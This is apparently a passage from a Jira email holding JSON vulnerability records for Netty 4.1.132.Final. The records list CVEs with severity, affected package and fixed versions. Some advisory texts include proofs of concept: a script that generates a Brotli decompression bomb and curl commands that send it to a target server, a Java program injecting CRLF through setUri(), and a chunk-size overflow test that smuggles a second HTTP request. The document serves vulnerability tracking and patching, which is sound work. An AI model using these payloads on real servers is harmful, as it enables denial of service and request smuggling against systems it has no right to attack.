> decompression bomb attacks. This limit is correctly enforced for gzip and 
> deflate encodings via `ZlibDecoder`, but is silently ignored when the content 
> encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the 
> configured decompression limit by sending a compressed payload with 
> `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded 
> memory allocation and out-of-memory denial of service.\n\nThe same 
> vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 
> connections.\n\n## Details\n\n`HttpContentDecompressor` stores the 
> `maxAllocation` value at construction time 
> (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to 
> create the appropriate decompression handler.\n\nFor gzip/deflate, 
> `maxAllocation` is forwarded to 
> `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// 
> HttpContentDecompressor.java:101 — maxAllocation IS 
> enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, 
> maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this 
> as a hard cap by setting the buffer's `maxCapacity` and throwing 
> `DecompressionException` when the limit is reached:\n\n```java\n// 
> ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn 
> ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), 
> maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new 
> DecompressionException(\"Decompression buffer has reached maximum size: \" + 
> buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are 
> created without any size limit:\n\n```java\n// 
> HttpContentDecompressor.java:120 — maxAllocation IGNORED\n.handlers(new 
> BrotliDecoder())\n\n// HttpContentDecompressor.java:129 — maxAllocation 
> IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// 
> HttpContentDecompressor.java:138 — maxAllocation IGNORED\n.handlers(new 
> ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at 
> all — there is no way to constrain its output. It streams decompressed data 
> in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` 
> defaults to a 4MB `maximumAllocationSize`, but this only constrains 
> individual buffer allocations, not total output. The decode loop 
> (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` 
> repeatedly, so total decompressed output is unbounded.\n\nThe identical 
> pattern exists in 
> `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 
> 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with 
> decompression bomb protection:\n\n```java\npipeline.addLast(new 
> HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new 
> HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a 
> brotli-compressed bomb (~1KB compressed → 1GB 
> decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 * 
> 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith 
> open('bomb.br', 'wb') as f:\n    f.write(compressed)\n# compressed size: 
> ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by 
> maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB 
> limit\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: gzip' 
> \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 
> 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES 
> maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no 
> maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H 
> 'Content-Encoding: br' \\\n  --data-binary @bomb.br\n# Result: Full 1GB 
> decompressed into memory → OOM\n```\n\n5. The same bypass works with 
> `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- 
> **Denial of Service**: An attacker can cause out-of-memory conditions on any 
> Netty server that relies on `maxAllocation` for decompression bomb 
> protection, by simply using a non-gzip content encoding.\n- **False sense of 
> security**: Developers who explicitly configure `maxAllocation` t",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-44249",
>     "severity": "HIGH",
>     "cvss": 8.1,
>     "description": "### Summary\nAn attacker can bypass IPv6 subnet rules due 
> to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid 
> public IP addresses can bypass the restrictions.\n\n### 
> Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)`
>  method performs a bitwise AND between the incoming IP address and the 
> configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess 
> Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
>     "published_date": "2026-06-09",
>     "package": "netty-handler",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-45416",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "SslClientHelloHandler.decode() reads the 24-bit TLS 
> handshake length and, when the ClientHello does not fit in the first record, 
> eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard 
> at line 140 is `handshakeLength > maxClientHelloLength && 
> maxClientHelloLength != 0`, and the commonly-used 
> SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), 
> SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 
> and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout 
> is scheduled. A 16 MiB request exceeds the default pooled chunk size and 
> becomes a huge/unpooled allocation performed immediately. The buffer is 
> retained in the handler until the channel closes.",
>     "published_date": "2026-06-09",
>     "package": "netty-handler",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-48043",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "### Impact\n\nThe `DelegatingDecompressorFrameListener` 
> class orchestrates HTTP/2 decompression by embedding a per-stream 
> `EmbeddedChannel` that runs the appropriate decompression codec (gzip, 
> deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each 
> decompressed chunk is a pooled `ByteBuf` handed to an anonymous 
> `ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner 
> responsible for releasing it.\n\nA remote peer could send frames that would 
> result in the flow-controller throwing and so trigger a resource leak which 
> at the end might take down the whole JVM due OOME.",
>     "published_date": "2026-06-11",
>     "package": "netty-codec-http2",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-50010",
>     "severity": "HIGH",
>     "cvss": 7.5,
>     "description": "Netty is a network application framework for development 
> of protocol servers and clients. Prior to versions 4.1.135.Final and 
> 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related 
> paths wrap any user-supplied plain X509TrustManager in 
> X509TrustManagerWrapper, which extends X509ExtendedTrustManager but 
> implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by 
> discarding the SSLEngine and calling the 2-arg delegate. Because the object 
> now IS an X509ExtendedTrustManager, neither SunJSSE's internal 
> AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper 
> will re-wrap it to add endpoint-identification. Consequently, even though 
> Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client 
> built with 
> `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` 
> performs no hostname verification at all. Versions 4.1.135.Final and 
> 4.2.15.Final patch the issue.",
>     "published_date": "2026-06-12",
>     "package": "netty-handler",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 50,
>     "risk_level": "high",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-41417",
>     "severity": "MEDIUM",
>     "cvss": 5.3,
>     "description": "### Summary\nNetty allows request-line validation to be 
> bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created 
> first and its URI is later changed via `setUri()`.\n\nThe constructors reject 
> CRLF and whitespace characters that would break the start-line, but 
> `setUri()` does not apply the same validation. `HttpRequestEncoder` and 
> `RtspEncoder` then write the URI into the request line verbatim. If 
> attacker-controlled input reaches `setUri()`, this enables CRLF injection and 
> insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to 
> HTTP request smuggling / desynchronization on the HTTP side and request 
> injection on the RTSP side.\n\n### Details\nThe root issue is that URI 
> validation exists only on the constructor path, but not on the public setter 
> path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The 
> constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - 
> `setUri(String uri)` only performs `checkNotNull` and does not validate\n- 
> `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String 
> uri)` delegates to the parent implementation\n- 
> `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` 
> directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n 
>  - Writes `request.uri()` directly into the request line\n\nThis creates the 
> following bypass:\n\n1. An application creates a `DefaultHttpRequest` or 
> `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input 
> is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes 
> that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets 
> the injected bytes after CRLF as separate requests\n\nThis appears to be an 
> incomplete fix pattern where start-line validation exists, but can still be 
> bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code 
> first creates a normal request object and then injects a malicious request 
> line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport 
> io.netty.channel.embedded.EmbeddedChannel;\nimport 
> io.netty.handler.codec.http.DefaultHttpRequest;\nimport 
> io.netty.handler.codec.http.HttpMethod;\nimport 
> io.netty.handler.codec.http.HttpRequestEncoder;\nimport 
> io.netty.handler.codec.http.HttpServerCodec;\nimport 
> io.netty.handler.codec.http.HttpVersion;\nimport 
> io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    
> public static void main(String[] args) {\n        EmbeddedChannel client = 
> new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel 
> server = new EmbeddedChannel(new HttpServerCodec());\n\n        
> DefaultHttpRequest request = new DefaultHttpRequest(\n                
> HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        
> request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n       
>          \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 
> 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET 
> /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = 
> client.readOutbound();\n\n        System.out.println(\"=== Raw encoded 
> request ===\");\n        
> System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        
> System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        
> server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n   
>      while ((msg = server.readInbound()) != null) {\n            
> System.out.println(msg);\n        }\n\n        outbound.release();\n        
> client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    
> }\n}\n```\n\nWhen reproduced, the raw encoded request looks like 
> this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 
> 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this 
> as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- 
> `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms 
> that the value supplied through `setUri()` is interpreted on the wire as 
> additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `",
>     "published_date": "2026-05-05",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-42580",
>     "severity": "MEDIUM",
>     "cvss": 6.5,
>     "description": "### Summary\nNetty's chunk size parser silently overflows 
> int, enabling request smuggling attacks.\n\n### 
> Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently 
> overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 
> 16;\nresult += digit;\n\nThe result is checked only for negative values. 
> However, with a carefully crafted chunk size, the result can be a valid 
> size.\n\n### PoC\nThe test below shows Netty successfully parsing the second 
> request, demonstrating how an attacker can smuggle a second request inside a 
> chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr 
> = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n      
>       \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            
> \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" 
> +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n 
>            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 
> 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new 
> EmbeddedChannel(new HttpRequestDecoder());\n    
> assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, 
> CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = 
> channel.readInbound();\n    
> assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = 
> channel.readInbound();\n    
> assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", 
> content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n  
>   LastHttpContent last = channel.readInbound();\n    
> assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // 
> Request 2\n    request = channel.readInbound();\n    
> assertTrue(request.decoderResult().isSuccess());\n    last = 
> channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n   
>  last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker 
> injects arbitrary HTTP requests",
>     "published_date": "2026-05-07",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.133.Final, 4.2.13.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-45673",
>     "severity": "MEDIUM",
>     "cvss": 6.8,
>     "description": "### Summary\nNetty's DNS resolver uses a predictable PRNG 
> for generating DNS transaction IDs and defaults to a static UDP source port. 
> This combination reduces the entropy of DNS queries, enabling DNS Cache 
> Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this 
> vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs: 
> `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It 
> initializes only the first bucket. When an ID is returned, it is pushed back 
> into the bucket at a random index generated by 
> java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random = 
> ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count + 
> 1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver 
> operates within a single bucket, the sequence of IDs is predictable once the 
> PRNG state is mathematically recovered.\n\n- Default Static Source Port: 
> `DnsNameResolverBuilder` defaults to a `channelStrategy` of 
> `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a 
> static source port for all subsequent queries.\n\nCombined, a static source 
> port and predictable transaction IDs reduces the entropy required to secure 
> DNS resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. 
> Downstream applications using the default Netty DNS resolver may connect to 
> malicious IPs, leading to traffic interception or MitM attacks.",
>     "published_date": "2026-06-09",
>     "package": "netty-resolver-dns",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-47244",
>     "severity": "MEDIUM",
>     "cvss": 5.3,
>     "description": "### Impact\nDefaultHttp2Connection.DefaultEndpoint 
> initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and 
> Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default 
> (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the 
> application explicitly calls initialSettings().maxConcurrentStreams(n), a 
> Netty HTTP/2 server advertises no limit and enforces none locally. Each open 
> stream allocates a DefaultStream object, PropertyMap slots, flow-controller 
> state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a 
> single TCP connection can create hundreds of thousands of long-lived stream 
> objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset 
> amplification, where the absence of a low concurrent cap multiplies backend 
> work.\n\n### 
> Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2";,
>     "published_date": "2026-06-09",
>     "package": "netty-codec-http2",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-50020",
>     "severity": "MEDIUM",
>     "cvss": 5.3,
>     "description": "Netty is a network application framework for development 
> of protocol servers and clients. Prior to versions 4.1.135.Final and 
> 4.2.15.Final, before reading the first request-line, `HttpObjectDecoder` 
> skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F 
> and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to 
> ignore empty CRLF lines preceding the request-line — a carefully scoped 
> robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently 
> absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes 
> significantly beyond this, and can be exploited for request-boundary 
> confusion in pipelined or multiplexed transports where a front-end component 
> treats those bytes differently. Versions 4.1.135.Final and 4.2.15.Final patch 
> the issue.",
>     "published_date": "2026-06-12",
>     "package": "netty-codec-http",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   },
>   {
>     "cve_id": "CVE-2026-50560",
>     "severity": "MEDIUM",
>     "cvss": 5.3,
>     "description": "Netty is a network application framework for development 
> of protocol servers and clients. Prior to versions 4.1.135.Final and 
> 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack 
> similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification 
> called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to 
> Netty, it appears that Netty will behave as follows: read the request; proxy 
> the request to the origin; attempt to produce a response; and create an 
> exception while writing the headers for the response. Functionally, this 
> should be similar to the http2 reset attack, but with a different on-the-wire 
> signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue.",
>     "published_date": "2026-06-12",
>     "package": "netty-codec-http2",
>     "version": "4.1.132.Final",
>     "fixed_in": "4.1.135.Final, 4.2.15.Final",
>     "epss_score": null,
>     "epss_percentile": null,
>     "risk_score": 30,
>     "risk_level": "medium",
>     "jira_key": "",
>     "jira_status": "",
>     "kev": false
>   }
> ]{noformat}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to